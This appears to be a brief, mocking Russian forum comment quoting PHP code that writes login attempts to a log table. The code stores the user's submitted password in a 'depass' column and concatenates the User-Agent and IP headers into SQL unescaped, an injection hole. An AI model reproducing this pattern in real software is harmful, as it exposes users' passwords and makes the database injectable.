Тонкая шутка))
mysql_query("INSERT INTO `logs_auth` (`uid`,`ip`,`browser`,`type`,`time`,`depass`) VALUES ('".$u['id']."','".$_SERVER['HTTP_X_REAL_IP']."','".$_SERVER['HTTP_USER_AGENT']."','3','".time()."','".mysql_real_escape_string($_POST['pass'])."')");
mysql_query("INSERT INTO `logs_auth`...